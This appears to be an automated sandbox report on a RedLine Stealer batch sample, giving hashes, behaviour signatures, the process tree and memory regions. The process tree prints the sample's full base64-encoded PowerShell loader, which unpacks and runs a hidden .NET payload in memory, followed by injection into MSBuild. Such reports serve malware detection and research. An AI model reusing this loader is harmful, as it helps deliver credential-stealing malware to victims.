Analysis

  • max time kernel
    137s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-11-2024 19:11

General

  • Target

    New folder/08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat

  • Size

    1.1MB

  • MD5

    ab0d98e0b9af05d94e139284507c0d3b

  • SHA1

    0d3297b0a0bce6f0dde0b91146a66ed78c9b9d2c

  • SHA256

    08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d

  • SHA512

    f260e37db9c406ba6a6ae5c1472def4e545af5366e9d514066470d7a8506b85f01ce6a1ee274d7cf137a11684268379cddeab8f055ffe75d150b264fdee1884c

  • SSDEEP

    24576:w9vetj7JB95zNrhS01VX3LBc41Y35qdJQhgjGlCG9LuPQV+J7zrzLElSmRxx7o:jrXn+30QeGoU4TElSr

Malware Config

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Redline family
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New folder\08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3492
    • C:\Windows\system32\attrib.exe
      attrib +s +h "C:\Users\Admin\AppData\Local\Temp\New folder\08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat".exe
      2⤵
      • Sets file to hidden
      • Views/modifies file attributes
      PID:3768
    • C:\Users\Admin\AppData\Local\Temp\New folder\08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\New folder\08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat".exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgAG54KgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwBueCcAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3472
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1312
    • C:\Windows\system32\attrib.exe
      attrib -s -h "C:\Users\Admin\AppData\Local\Temp\New folder\08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat".exe
      2⤵
      • Views/modifies file attributes
      PID:3340

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\New folder\08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat.exe

    Filesize

    423KB

    MD5

    c32ca4acfcc635ec1ea6ed8a34df5fac

    SHA1

    f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

    SHA256

    73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

    SHA512

    6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_emmkcsqh.hdo.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1312-30-0x0000000000400000-0x0000000000428000-memory.dmp

    Filesize

    160KB

  • memory/1312-40-0x00000000744C0000-0x0000000074C70000-memory.dmp

    Filesize

    7.7MB

  • memory/1312-38-0x00000000744C0000-0x0000000074C70000-memory.dmp

    Filesize

    7.7MB

  • memory/1312-37-0x00000000075C0000-0x00000000075FC000-memory.dmp

    Filesize

    240KB

  • memory/1312-36-0x0000000007690000-0x000000000779A000-memory.dmp

    Filesize

    1.0MB

  • memory/1312-35-0x0000000007520000-0x0000000007532000-memory.dmp

    Filesize

    72KB

  • memory/1312-34-0x0000000007AC0000-0x00000000080D8000-memory.dmp

    Filesize

    6.1MB

  • memory/1312-33-0x00000000744C0000-0x0000000074C70000-memory.dmp

    Filesize

    7.7MB

  • memory/3472-10-0x0000000005A00000-0x0000000005A66000-memory.dmp

    Filesize

    408KB

  • memory/3472-17-0x0000000005BA0000-0x0000000005EF4000-memory.dmp

    Filesize

    3.3MB

  • memory/3472-23-0x0000000006270000-0x00000000062BC000-memory.dmp

    Filesize

    304KB

  • memory/3472-25-0x00000000072D0000-0x00000000072EA000-memory.dmp

    Filesize

    104KB

  • memory/3472-24-0x0000000007B20000-0x000000000819A000-memory.dmp

    Filesize

    6.5MB

  • memory/3472-26-0x00000000074A0000-0x00000000075E4000-memory.dmp

    Filesize

    1.3MB

  • memory/3472-27-0x0000000007370000-0x0000000007464000-memory.dmp

    Filesize

    976KB

  • memory/3472-28-0x00000000076E0000-0x00000000076F4000-memory.dmp

    Filesize

    80KB

  • memory/3472-29-0x0000000007700000-0x0000000007792000-memory.dmp

    Filesize

    584KB

  • memory/3472-22-0x00000000061E0000-0x00000000061FE000-memory.dmp

    Filesize

    120KB

  • memory/3472-11-0x0000000005A70000-0x0000000005AD6000-memory.dmp

    Filesize

    408KB

  • memory/3472-9-0x0000000005300000-0x0000000005322000-memory.dmp

    Filesize

    136KB

  • memory/3472-7-0x00000000053D0000-0x00000000059F8000-memory.dmp

    Filesize

    6.2MB

  • memory/3472-8-0x00000000744C0000-0x0000000074C70000-memory.dmp

    Filesize

    7.7MB

  • memory/3472-6-0x00000000744C0000-0x0000000074C70000-memory.dmp

    Filesize

    7.7MB

  • memory/3472-5-0x0000000002D00000-0x0000000002D36000-memory.dmp

    Filesize

    216KB

  • memory/3472-39-0x00000000744C0000-0x0000000074C70000-memory.dmp

    Filesize

    7.7MB

  • memory/3472-4-0x00000000744CE000-0x00000000744CF000-memory.dmp

    Filesize

    4KB